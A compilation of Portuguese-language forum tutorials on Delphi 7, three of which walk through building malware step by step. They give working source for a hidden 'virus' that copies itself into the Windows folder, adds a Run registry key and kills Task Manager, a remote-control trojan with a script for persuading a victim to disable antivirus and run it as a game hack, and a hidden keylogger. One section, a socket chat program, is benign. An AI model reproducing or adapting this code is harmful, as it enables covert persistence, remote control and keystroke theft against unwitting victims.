[ Tutorial ] Como Criar um Virus Utilizando o Delphi


[ Tutorial ] Como Criar um Virus Utilizando o Delphi


Existe muitas maneiras de criar um virus em delphi, a maioria dos trojans famosos que circulão n internet foram feitos em delphi.
Eu vou mostrar como fazer um virus reninciar junto com o windows e travar o Ctrl + Alt + Del.
Vamos la, Primeiro abra um projeto e coloque na uses "Registry,"
Agora em baixo de "{$R *.dfm}" clouqe isso:
procedure RunOnStartup(sProgTitle,sCmdLine: string; bRunOnce: boolean );
var
sKey : string;
reg : TRegIniFile;
begin
if( bRunOnce )then
begin
sKey := 'Once'
end
else
begin
sKey := '';
end;
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run'+ sKey + #0, sProgTitle, sCmdLine );
reg.Free;
end;


Agora no FormCreate coloque isso:
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm := False;
CopyFile(PChar(Application.ExeName),'C:\WINDOWS\virus.exe',True);
RunOnStartup('virus','C:\WINDOWS\virus.exe',true);
end;


Agora vamos fazer a parte de travar a listagem de processos, vou dar o coder todo basta voce fazer sua arte:
unit Unit1;interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, TLHelp32, PsAPI, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function TerminarProcesso(sFile: String): Boolean;
var
verSystem: TOSVersionInfo;
hdlSnap,hdlProcess: THandle;
bPath,bLoop: Bool;
peEntry: TProcessEntry32;
arrPid: Array [0..1023] of DWORD;
iC: DWord;
k,iCount: Integer;
arrModul: Array [0..299] of Char;
hdlModul: HMODULE;
begin
Result := False;
if ExtractFileName(sFile)=sFile then
bPath:=false
else
bPath:=true;
verSystem.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
GetVersionEx(verSystem);
if verSystem.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS then
begin
hdlSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
peEntry.dwSize:=Sizeof(peEntry);
bLoop:=Process32First(hdlSnap,peEntry);
while integer(bLoop)<>0 do
begin
if bPath then
begin
if CompareText(peEntry.szExeFile,sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0);
Result := True;
end;
end
else
begin
if CompareText(ExtractFileName(peEntry.szExeFile),sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0);
Result := True;
end;
end;
bLoop := Process32Next(hdlSnap,peEntry);
end;
CloseHandle(hdlSnap);
end
else
if verSystem.dwPlatformId=VER_PLATFORM_WIN32_NT then
begin
EnumProcesses(@arrPid,SizeOf(arrPid),iC);
iCount := iC div SizeOf(DWORD);
for k := 0 to Pred(iCount) do
begin
hdlProcess:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,arrPid [k]);
if (hdlProcess<>0) then
begin
EnumProcessModules(hdlProcess,@hdlModul,SizeOf(hdlModul),iC);
GetModuleFilenameEx(hdlProcess,hdlModul,arrModul,SizeOf(arrModul));
if bPath then
begin
if CompareText(arrModul,sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);
Result := True;
end;
end
else
begin
if CompareText(ExtractFileName(arrModul),sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);
Result := True;
end;
end;
CloseHandle(hdlProcess);
end;
end;
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
TerminarProcesso('taskmgr.exe');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.ShowMainForm := false;
end;
end.

[ Tutorial ] Como Criar um Trojan com Mais Funções

[ Tutorial ] Como Criar um Trojan com Mais Funções



Antes de mais nada, Tudo que esta aqui não é Ctrl + c mais Ctrl + V
Eu que fiz tudo !!

Requerimentos :


- Conhecimento Basico em Delphi 7

Ok vamos ao trabalho!!



Abra o Delphi e inicie um novo projeto
Agora nós teremos que adicionar uma coisinha ao Delphi
(ServerSocket , ClientSocket)

Para adicionar esse 2 você vai ter que ir em Component e clicar em Install Packages

Print :
Click this bar to view the original image of 800x500px.


Depois Clique em add

Print :



Depois procure a pasta do seu Delphi é mais facil você clicar em "Um nivel acima" Depois que clicar la abra a pasta "bin" que aparecera ao lado

Click this bar to view the original image of 561x417px.


Depois que abrir a pasta clique em "dclsockets70" e abre ele =)

Print
Click this bar to view the original image of 559x417px.



Ok agora ja esta tudo Pronto!

Na abra Standard adicione

- 1 Edit = Apague o que esta escrito nele
- 1 Label = Apague o que esta escrito nele
- 2 Buttons = Conectar, Desconectar

E na aba Internet Adicione um Client Socket!

Clique no Client Socker E vamos configurar ele

Clique uma vez no ClientSocket

Em object Inspector Tem "Port" Mude a port para 1478

Depois clique em "Events" e em

OnConect Coloque isso

Label1.caption:='Conectado';
Em OnConecting Coloque isso

label1.caption:='Conctando...';
Em OnDisconect coloque isso

Label1.Caption:='Desconectado!';
Em OnError coloque isso

label1.Caption:='Erro!! Tente novamente';


Pronto agora vamos mecher nos Buttons

Clique 2 Veses no botao "Conectar" e coloque isso
ClientSocket1.Address:=edit1.text;
ClientSocket1.Active:=true;
Agora Clique 2 Veses no botão "Desconectar e coloque isso
ClientSocket1.Active:= false;

Agora adicione 10 Botões e renomeie um para

Abrir CD
Fechar CD
Esconder icones da area de trabalho
Mostrar icones da area de trabalho
Esconder Iniciar
Mostrar iniciar
Esconder barrra de tarefas
Mostrar barra de tarefas
Abrir Firefox com o site do Tube8
Desligar o pc


Clique duas veses no Abrir CD e coloque isso

ClientSocket1.Socket.SendText('abrecd') ;
Clique Duas veses no Fechar cd e coloque isso

ClientSocket1.Socket.SendText('fecharcd') ;
Clique duas veses no Esconder icones da area de trabalho e coloque isso

ClientSocket1.Socket.SendText('escondericones') ;
Clique duas veses no Mostrar icones da area de trabalho e coloque isso

ClientSocket1.Socket.SendText('mostraricones') ;
Clique duas veses no Esconder Iniciar e coloque isso

ClientSocket1.Socket.SendText('esconderiniciar') ;
Clique duas veses no Mostrar Iniciar e coloque isso

ClientSocket1.Socket.SendText('mostrariniciar') ;
Clique duas veses no Esconder barrra de tarefas e coloque isso

ClientSocket1.Socket.SendText('esconderbarra') ;
Clique duas veses no Mostrar barra de tarefas e coloque isso

ClientSocket1.Socket.SendText('mostrarbarra') ;
Clique duas veses no "Abrir firefox no site do Tube8" e coloque isso

ClientSocket1.Socket.SendText('sitetube8') ;
Clique duas veses no "Desligar pc" e coloque isso

ClientSocket1.Socket.SendText('desligarpc') ;

Pronto Programa feito!! agora clique em

File, Save All

Crie uma pasta no seu desktop chamada Trojan depois entre nessa pasta e crie otra chamada Cliente e salve la. Depois de salvar aperte F9 e depois pode fechar tudo.

Print do meu trojan



Etapa 2

Abra denovo o Delphi e inicie um Projeto

Esse Programa que nos faremos agora servira para você mandar para a vitima
Depois de iniciar um Projeto va na aba "internet" e coloque um ServerSocket

La do lado em Port Coloque 1478
e active se muda pra True

Clique na aba "Event".

De duplo click no OnClientRead

De baixo do begin coloque isso
if Socket.ReceiveText='abrecd' then begin
MciSendString('Set CdAudio Door Open',nil,0,Handle) ;
end;
if Socket.ReceiveText='fecharcd' then begin
MciSendString('Set CdAudio Door Closed',nil,0,Handle);
end;
if Socket.ReceiveText='escondericones' then begin
ShowWindow(FindWindow('progman',nil),0);
end;
if Socket.ReceiveText='mostraricones' then begin
ShowWindow(FindWindow('progman',nil),1);
end;
if Socket.ReceiveText='esconderiniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);
end;
if Socket.ReceiveText='mostrariniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),1);
end;
if Socket.ReceiveText='esconderbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),0);
end;
if Socket.ReceiveText='mostrarbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),1);
end;
if Socket.ReceiveText='sitetube8' then begin
WinExec('c:/arquivos de programas/mozilla firefox/firefox.exe http//www.tube8.comF', SW_SHOW);
end;
if Socket.ReceiveText='desligarpc' then begin
WinExec('cmd /C shutdown -s -t 03', SW_SHOW);
end;
Depois suba la em cima nos uses e adicione MMSystem
ficando assim

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, MMSystem;
Click this bar to view the original image of 800x465px.


Agora salve tudo na pasta Vitima que eu mandei criar e aperte F9 para compilar!!

Enganando a vitima!!!

Chega pra vitima e fale

- Ou se vil o Novo hack que lanço ???
ele serve para GB Para Grand Chase Pra Combat Arms pra Panguia pra Ragnarok e para um monte de jogos!!!!!!

Mais tem um problema o antivirus detecta como um virus mais é inofencivo!!
(e fala pra ele desativa o ant virus)

ai dps o cara consertesa vai aceita e vc manda o download
Manda ele abri o programa e va no seu Programa o primeiro que criamos e clique em conect ai é so zua ele xD

OBS : No edit que você criou é so colocar o numero da port que o seu no caso é 1478
Comentem Aiii Pessoal

[ Tutorial ] Como Criar um Chat pelo Delphi 7

[ Tutorial ] Como Criar um Chat pelo Delphi 7


1ª Etapa
Para começar o Chat vamos criar a sua interface, neste caso adicione no programa os seguintes componentes:
Inserindo:
TMemo => Coloque o nome como Quadro.
Tmemo => Com nome de Status.
TGroupBox => Coloque o nome como C_Comandos
TEdit => Coloque dentro do TGroupBox (C_Comandos) com o nome de C_Texto
TEdit => Com nome de Host.
TEdit => Com nome de Apelido.
TButton => Com nome de Conectar.
TButton => Com nome de Servir.
2 Tlabel => Com caption Servidor e Apelido.

Agora adicione os seguintes componentes.
TclientSocket => Com nome de S_Cliente.
TserverSocket => Com nome de S_Server.
(VEJA FIGURA AO LADO)
Agora renomeie o Form1 para ChatFal. (Clique no Form depois vá em name e mude).
Vamos tentar deixar o Object Treeview mais ou menos assim:

Pronto agora tente organizar desta forma:

2ª Etapa
Bom nesta etapa vamos começar a programar o chat.
a) O primeiro evento que o programa irá executar será o TchatFal.FormCreate, clique 2x no formulário, e deixe este procedimento assim:
procedure TChatFal.FormCreate(Sender: TObject); {Limpa o quadro}
begin
Quadro.Text := '';
end;

Explicação:
Com isto, assim que o formulário inicie, o conteúdo do componente QUADRO será apagado.
b) O segundo evento a ser programado será do componente C_Texto. Aqui vamos criar uma procedure para o evento OnKeyDown (Este evento ocorre quando um texto for digitado na Tedit).
Primeiro se declara a procedure.
procedure C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
Depois vamos programar a procedure.
procedure TChatFal.C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin

if Key = VK_Return then
begin
S_Cliente.Socket.SendText(C_Texto.Text + ‘::::’ + Apelido.Text);
C_Texto.Text := ”;
end;
end;
Explicação:
Nós criamos uma procedure que utiliza uma variável “Key” do tipo Word, e declaramos também o uso do Shift (Se não declarar o uso do shift não funciona).
if Key = VK_Return then => Se a tecla digitada for igual ao [ENTER] então execute.
S_Cliente.Socket.SendText(C_Texto.Text + '::::' + Apelido.Text); => Envia o texto para o servidor no formato (Mensagem::::Apelido) este formato será explicado mais na frente.
C_Texto.Text := ''; => Limpa o conteúdo da TEdit C_Texto.
c) Vamos programar a procedure do terceiro evento. Este será para o botão “Conectar” onde ao clicar o programa irá pegar o conteúdo da Tedit “Host” e tentar conectar-se.
Clique 2x em cima do botão Conecta, e deixe da seguinte forma:
procedure TChatFal.ConectarClick(Sender: TObject);
begin
if S_Cliente.Active then
begin
S_Cliente.Active := False;

Conectar.Caption := ‘Conectar’;
end
else begin
S_Cliente.Host := Host.Text;
S_Cliente.Active := True;
end;
end;
Explicação:
if S_Cliente.Active then => Primeiro verificamos se o TclientSocket esta ativo (isto é se a conexão já esta ativa).
S_Cliente.Active := False; => Se tiver ativo ele desativa (Desconecta).
Conectar.Caption := ‘Conectar’; => Altera o caption do TButton (Conectar) para ‘Conectar’.
else begin => Caso a conexão já esteja desativada, isto é S_Cliente.Active = False então ele vai se conectar.
S_Cliente.Host := Host.Text; => Pega o conteudo de Host isto é o endereço IP do servidor, e coloca na propriedade Host do componete S_Cliente.
S_Cliente.Active := True; => Ativa a conexão.
3ª Etapa
Agora vamos programar os eventos do conexão do Lado Cliente.
Primeiro declare os procedimentos abaixo:
procedure S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure S_ClienteRead(Sender: TObject; Socket: TcustomWinSocket);
Estes são os eventos do componente TclientSocket que colocamos no programas e renomamos para S_Cliente.
Agora vamos programá-los um por um.
Primeiro OnConnect.
procedure TChatFal.S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Status.Lines.Add('Cliente ::> Conectado a: ' + S_Cliente.Host);
Conectar.Caption := 'Desconectar';

Apelido.Enabled := False;
S_Cliente.Socket.SendText(‘NICK::::’ + Apelido.Text);
end;
Explicação:
Este evento somente ocorre quando há sucesso de conexão, isto é logo após estabelecer conexão com o servidor sem erros.
Status.Lines.Add(‘Cliente ::> Conectado a: ‘ + S_Cliente.Host); => Aqui escrevemos no status Status.Lines.Add uma mensagem informando o cliente que ele teve sucesso na conexão.
Conectar.Caption := ‘Desconectar’; => Muda-se o caption do TButton (Conectar) de ‘conecta’r para ‘desconectar’, pois agora sua função será encerrar a conexão.
Apelido.Enabled := False; => Depois desabilitamos o Tedit do Apelido (Apenas para o cliente não mudar de apelido durante a conexão o que não afeta nada caso mude).
S_Cliente.Socket.SendText(‘NICK::::’ + Apelido.Text); => Enviamos para o servidor um Texto seguindo o mesmo formato que a procedure de escrever S_Cliente.Socket.SendText. Repare que desta vez o formato muda um pouco, antes era (Mensagem::::Apelido) agora é (NICK::::Apelido). Isto serve para diferenciar o tipo de mensagem, a primeira é uma mensagem normal, a segunda informa que você entrou no servidor.
O Tratamento desses formatos fica no lado do servidor que veremos em breve.
Segundo evento é o OnDisconnect.
procedure TChatFal.S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin Status.Lines.Add('Cliente ::> Desconectado '); Conectar.Caption := ‘Conectar’; Apelido.Enabled := True; end;
Explicação
Este evento é o oposto do evento anterior, ele somente é executado quando a conexão é desfeita.
Status.Lines.Add(‘Cliente ::> Desconectado ‘); => Informamos ao cliente com uma mensagem no status Status.Lines.Add.
Conectar.Caption := ‘Conectar’; => Mudamos o caption do TButton (Conectar) para “conectar”.
Apelido.Enabled := True; => Habilitamos a TEdit (Apelido).
Terceiro evento é o OnError.
procedure TChatFal.S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
Status.Lines.Add('Cliente ::> ERRO ao tentar conectar a: ' + S_Cliente.Host);

end;
Explicação:
Bastante simples, em caso de erro de conexão informa no status a mensagem ERRO ao tentar conectar a: ‘ + S_Cliente.Host.
Quarto e ultimo evento da TclientSocket, OnRead.
procedure TChatFal.S_ClienteRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Quadro.Lines.Add(Socket.ReceiveText);
end;
Explicação:
Este evento ocorre quando o TClientSocket recebe dados através da conexão ativa. Como a mensagem já vem formatada pelo servidor basta apenas adicionar no quadro Quadro.Lines.Add(Socket.ReceiveText); .
Pronto aqui finalizamos a programação do lado Client do nosso chat.
EDITANDO AS PROPRIEDADES DO COMPONETE TClientSocket (S_Cliente).
Agora vamos parar um pouco a programação, e vamos alterar as propriedades do nosso componente TclientSocket. Onde aqui vamos configurar a porta de comunicação e também vamos colocar os eventos que programamos nos seus devidos lugares.
Primeiro selecione o ícone do componente TclientSocket (S_Cliente) no formulário, depois vá na janela do “Object Inspector” e em propriedades coloque Active em FALSE (Para iniciar desconectado) e em Port abaixo de Name coloque a seguinte porta (666) ou outra que você quiser e que não esteja sendo usada pelo sistema.
Agora vá na aba Eventos e configure os eventos como esta abaixo na IMG.

Pronto o lado cliente já esta pronto agora vamos programar o lado servidor do nosso chat.
4ª Etapa
Nesta etapa vamos primeiro programar o evento do TButton “Servir” (Eu coloquei a caption deste botão como (Iniciar Servidor).
Clique 2x no botão para programar o evento.
procedure TChatFal.ServirClick(Sender: TObject);
begin
if S_Server.Active = True then
begin
S_Server.Active := False;

Status.Lines.Add(‘Servidor ::> Servidor Desligado!’);
Servir.Caption := ‘Iniciar Servidor’;
S_Cliente.Active := False;
Host.Enabled := True;
Conectar.Enabled := True;
end
else begin
S_Server.Active := True;
Servir.Caption := ‘Parar Servidor’;
Host.Enabled := False;
Conectar.Enabled := False;
S_Cliente.Host := ’127.0.0.1′;
S_Cliente.Active := True;
end;
end;
Explicação:
Primeiro da mesma forma que o botão de conectar primeiro verificamos o estado do servidor. Se ele está servindo ou esta parado.
if S_Server.Active = True then => Caso esteja ativo, isto é caso ele esteja esperando conexões na porta configurada, então vamos desligar.
S_Server.Active := False; => Desliga o servidor.
Status.Lines.Add(‘Servidor ::> Servidor Desligado!’); => Informa no status que o servidor foi desligado.
Servir.Caption := ‘Iniciar Servidor’; => Muda o caption do TButton (Servir) para ‘iniciar servidor’.
S_Cliente.Active := False; => Desativa a conexão do cliente. (Ao iniciar o servidor automaticamente o programa se conecta ao servidor).
Host.Enabled := True; => Abilita o campo de escolha do IP.
Conectar.Enabled := True; => Abilita o botão de conectar.
else begin => Caso o servidor não esta ativo, então ative.
S_Server.Active := True; => Ativa o servidor, e neste momento o servidor fica esperando conexões na porta configurada.
Servir.Caption := ‘Parar Servidor’; => Muda o caption do TButton (Servir) para ‘parar servidor’ pois sua função agora é parar.
Host.Enabled := False; => Desativa o campo de escolha do IP (O cliente vai se conectar no localhost).
Conectar.Enabled := False; => Desativa o botão de conectar, pare evitar desconexão do cliente com o servidor local.
S_Cliente.Host := ’127.0.0.1′; => Força o host do S_Cliente para localhost (127.0.0.1).
S_Cliente.Active := True; => Conecta no servidor como cliente.
O IP ’127.0.0.1′ Corresponde a própria maquina, neste caso ao ligar o servidor ele também se conecta como cliente e desabilita as opções de conexão, caso desligue o servidor ele também se desconecta.
Agora o passo seguinte e declarar os procedimentos dos eventos do S_Server.
procedure S_ServerListen(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientConnect(Sender: TObject; Socket: TCustomWinSocket);

procedure S_ServerClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientRead(Sender: TObject; Socket: TcustomWinSocket);
Os eventos são parecidos com os eventos do S_Cliente com diferença que não usa o evento OnError e agora existe o evento OnListen.
Vamos aos eventos.
Primeiro o evento OnListen.
procedure TChatFal.S_ServerListen(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Servidor Ligado!');
end;

Explicação:
Este evento ocorre quando o servidor é ligado, isto é quando ele começar a escutar na porta determinada. Quando isto ocorre ele simplesmente escreve no status a mensagem de que o servidor está ligado. Status.Lines.Add(‘Servidor ::> Servidor Ligado!’);
Segundo evento será o OnClientConnect.
procedure TChatFal.S_ServerClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Usuário Conectado => '+ Socket.RemoteAddress);

end;
Explicação:
Este evento ocorre quando o servidor recebe uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que um novo usuário se conectou e qual seu IP (Socket.RemoteAddress).
Status.Lines.Add(‘Servidor ::> Usuário Conectado => ‘+ Socket.RemoteAddress
Terceiro evento será o OnClientDisconnect.
procedure TChatFal.S_ServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);

begin
Status.Lines.Add(‘Servidor ::> Usuário Desconectado => ‘+ Socket.RemoteAddress);
end;
Explicação:
Este evento ocorre quando o servidor termina uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que o usuário se desconectou e qual seu IP (Socket.RemoteAddress).
Status.Lines.Add(‘Servidor ::> Usuário Desconectado => ‘+ Socket.RemoteAddress);
Quarto e mais importante evento OnClientRead.
procedure TChatFal.S_ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var texto: array[0..1] of string;
temptexto: string;
Index: integer;
begin

temptexto := Socket.ReceiveText;
texto[0] := Copy(temptexto, 1,Pos(‘::::’, temptexto) -1);
texto[1] := Copy(temptexto, Pos(‘::::’, temptexto) + Length(‘::::’),Length(temptexto));
if texto[0] = ‘NICK’ then {Verifica se a mensagem eh de entrada}
begin
WITH S_Server.Socket DO BEGIN {Se a msg for de entrada avisa a todos os clientes quem entrou }
FOR Index := 0 TO ActiveConnections-1 DO BEGIN
Connections[Index].SendText(texto[1] + ‘ entrou na sala: ‘);
END;
END;
end
else
begin
WITH S_Server.Socket DO BEGIN {Se nao for de entrada, então eh msg normal, no caso passa para todos a msg}
FOR Index := 0 TO ActiveConnections-1 DO BEGIN
Connections[Index].SendText(‘(‘ + texto[1] + ‘) escreveu: ‘ + texto[0]);
END;
END;
Status.Lines.Add(‘Servidor ::> ‘ + texto[1] + ‘ (‘ + Socket.RemoteAddress + ‘) escreveu: ‘+ texto[0]);
end;
end;
Explicação
Este evento é o mais importante do chat, pois é nele que realmente o chat irá funcionar. O evento ocorre quando o servidor recebe dados do cliente, neste caso ele terá que receber a mensagem e repassar para todos os clientes conectados (Broadcasting).
Esta parte foi difícil desenvolver, pois no exemplo que vem no Delphi (WinSocket) ele não envia para todos os usuários a mensagem, ele
apenas adiciona na Memo a informação recebida.
Bom vamos passo a passo do código.
var texto: array[0..1] of string; => Este array será necessária para formatação dos dados.
temptexto: string; => Está variável será necessária para formatação dos dados.
Index: integer; => Variável de controle para o loop de broadcast.
temptexto := Socket.ReceiveText; => Variável temptexto recebe os dados enviados pelo cliente Socket.ReceiveText.
texto[0] := Copy(temptexto, 1,Pos(‘::::’, temptexto) -1); => Separa a informação em duas partes, texto[0] pega tudo que estiver antes do separador ‘::::’ (Lembre-se do formato de envio). OBS: Procure no HELP do Delphi explicações sobre as funções Pos, Length e Copy. Pois são muito uteis.
texto[1] := Copy(temptexto, Pos(‘::::’, temptexto) + Length(‘::::’),Length(temptexto)); => Aqui texto[1] pega tudo que estiver depois do separador ‘::::’.
if texto[0] = ‘NICK’ then => Se o que estiver antes de ‘::::’ for NICK então foi mensagem de entrada.
WITH S_Server.Socket DO BEGIN => Bom aqui eu estou dizendo que com o Objeto S_Server.Socket Faça. No help do Delphi tem uma explicação sobre ‘WITH’.
FOR Index := 0 TO ActiveConnections-1 DO BEGIN=> Um laço usando FOR, até o final das conexões. (ActiveConnections vem do objeto S_Server através do WITH).
Connections[Index].SendText(texto[1] + ‘ entrou na sala: ‘); => Vai enviando mensagens para todas as conexões da primeira até a ultima, informando quem entrou no servidor.
Else => Se não for ‘NICK’ o que vem antes do separador ‘::::’, então deve ser mensagem.
WITH S_Server.Socket DO BEGIN => Denovo WITH.
FOR Index := 0 TO ActiveConnections-1 DO BEGIN => Laço de 0 até o final das conexões.
Connections[Index].SendText(‘(‘ + texto[1] + ‘) escreveu: ‘ + texto[0]); => Envia para todas as conexões a mensagem enviada.
Status.Lines.Add(‘Servidor ::> ‘ + texto[1] + ‘ (‘ + Socket.RemoteAddress + ‘) escreveu: ‘+ texto[0]); => Adiciona no status do servidor uma cópia da mensagem.
Pronto agora terminamos de programar os eventos do componente S_Server. Agora vamos editar suas propriedades no Object Inspector da mesma forma que configuramos o S_Client.
Deixamos Active = False
e Port = 666 (Ou a porta que você usou no S_Client).
e os eventos (Events)
OnClientConnect = S_ServerClientConnect
OnClientDisconnect = S_ServerClientDisconnect
OnClientRead = S_ServerClientRead
OnListen = S_ServerListen
O resto dos eventos ficam em branco como na imagem abaixo:

TESTANDO O CHAT
Pronto salve tudo e compile, agora vá na pasta em que o programa foi compilado e abra 3 janelas do programa.
No primeiro coloque o apelido como Administrador e clique em iniciar o Servidor.
No segundo coloque como usuario1 digite o endereço local (127.0.0.1) e clique em conectar.
No Terceiro coloque como usuario2 digite o endereço local (127.0.0.1) e clique em conectar.
Pronto agora teste a comunicação entre os 3.

Bom espero que tenha funcionado seu CHAT, você pode baixar o código fonte completo do chat e a versão binária do mesmo neste link abaixo

[ Tutorial ] Como Fazer um Keylogger Utilizando o Delphi 7


 [ Tutorial ] Como Fazer um Keylogger Utilizando o Delphi 7


Essa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!
Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...
Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.
Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.
No código, defina a seguinte função:
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
E coloque no evento Timer do temporizador:
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rs
e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..
Então... Rode o programa (tecle F9).
Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!
Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...
Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!
Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".
deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!
